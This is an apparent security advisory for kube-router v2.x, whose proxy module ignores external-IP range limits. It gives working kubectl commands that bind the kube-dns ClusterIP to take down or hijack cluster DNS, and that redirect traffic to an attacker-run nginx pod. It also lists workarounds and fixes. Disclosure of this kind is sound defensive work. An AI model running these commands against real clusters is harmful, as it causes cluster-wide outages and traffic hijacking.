Details
Scenario B: Cluster DNS Takedown (Single Command)
kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
name: dns-dos-svc
namespace: attacker-ns
spec:
selector: { app: non-existent-app }
ports:
- { name: dns-udp, port: 53, targetPort: 5353, protocol: UDP }
- { name: dns-tcp, port: 53, targetPort: 5353, protocol: TCP }
externalIPs: ["10.96.0.10"]
EOF
Before attack: kube-dns has 2 healthy real servers (CoreDNS pods).
After attack: The legitimate CoreDNS endpoints are fully evicted from the IPVS virtual service via the activeServiceEndpointMap overwrite and stale-endpoint cleanup cycle. If the attacker's Service has a selector pointing to attacker-controlled pods, those pods become the sole real servers for 10.96.0.10:53 -- receiving 100% of cluster DNS traffic. If no matching pods exist, the virtual service has zero real servers and DNS queries blackhole.
After deleting the attacker's Service: DNS immediately recovers.
Scenario C: --service-external-ip-range Bypass
With --service-external-ip-range=10.200.0.0/16 configured, 192.168.100.50 (outside the range) is still bound. The proxy module never checks this parameter.
Scenario D: Arbitrary VIP Binding With Attacker Backend
A user can bind an arbitrary IP as a VIP on all cluster nodes. For previously unused IPs, this creates a new IPVS virtual service directing traffic to the attacker's pods. For IPs that match an existing ClusterIP on the same port, the attacker's endpoints replace the legitimate endpoints entirely (see Scenario B for the mechanism).
kubectl -n attacker-ns run attacker-backend --image=nginx:alpine --port=80
kubectl -n attacker-ns exec attacker-backend -- sh -c 'echo "HIJACKED-BY-ATTACKER" > /usr/share/nginx/html/index.html'
kubectl --as=system:serviceaccount:attacker-ns:cicd-developer apply -f - <<EOF
apiVersion: v1
kind: Service
metadata:
name: hijack-svc
namespace: attacker-ns
spec:
selector: { run: attacker-backend }
ports: [{ port: 80, targetPort: 80 }]
externalIPs: ["10.50.0.1"]
EOF
$ curl http://10.50.0.1/
HIJACKED-BY-ATTACKER
Impact
Confidentiality: None - No direct data leakage
Integrity: Low - An attacker can bind arbitrary VIPs on cluster nodes and direct traffic to attacker-controlled pods. When an externalIP matches an existing ClusterIP on the same port, the legitimate endpoints are fully replaced by the attacker's endpoints via the IPVS stale-endpoint cleanup cycle -- the attacker receives 100% of that traffic. However, this is bounded to specific (IP, protocol, port) tuples that the attacker explicitly targets, is immediately visible via kubectl get svc, and constitutes traffic redirection rather than transparent interception. This is consistent with the upstream Kubernetes assessment of CVE-2020-8554 (I:Low).
Availability: High - A single command can take down cluster DNS, affecting all pods' name resolution, service discovery, and control plane communication
Attack Scenarios
- Cluster-wide DNS DoS / traffic co-opt: A user creates one Service with an externalIP matching the kube-dns ClusterIP on port 53. The legitimate CoreDNS endpoints are evicted and the attacker's pods receive all DNS queries cluster-wide.
- Arbitrary VIP binding: A user binds unused IPs as VIPs on all cluster nodes, directing traffic to attacker-controlled pods
- ClusterIP conflict exploitation: A user targets any existing ClusterIP:port combination to replace the legitimate service's endpoints with their own
- Security configuration bypass:
--service-external-ip-rangeis not enforced by the proxy module - Trust boundary violation: Namespace-scoped permissions affect all cluster nodes
Affected Versions
- All kube-router v2.x versions (including latest v2.7.1)
buildServicesInfo()has never referencedExternalIPCIDRs
Patched Versions
v2.8.0 and beyond
Workarounds
- Enable DenyServiceExternalIPs Feature Gate: Add
--feature-gates=DenyServiceExternalIPs=trueto the API server - Deploy admission policy: Use Kyverno/OPA/ValidatingAdmissionPolicy to restrict Services with externalIPs
- Restrict Service creation RBAC: Tighten RBAC to prevent low-privileged users from creating Services
- Monitor Service changes: Enable Kubernetes audit logging for Service create/update operations
- Apply BGP prefix filtering: If kube-router is configured to advertise externalIPs or ClusterIPs via BGP, configure BGP peers (routers, firewalls) to only accept announcements for expected prefix ranges. This prevents a malicious externalIP from being advertised to and routed by the broader network.
Mitigation
Recommended Permanent Fix
- Proxy module should check `--service-external-ip-range`: Validate externalIPs against configured ranges in
buildServicesInfo() - Default deny when unconfigured: When
--service-external-ip-rangeis not set, reject all externalIPs - IP conflict detection: Check externalIPs against existing ClusterIPs and NodeIPs
- Audit logging: Log all externalIP configuration changes
Credits
- @b0b0haha (Reporter)
- @j311yl0v3u (Reporter)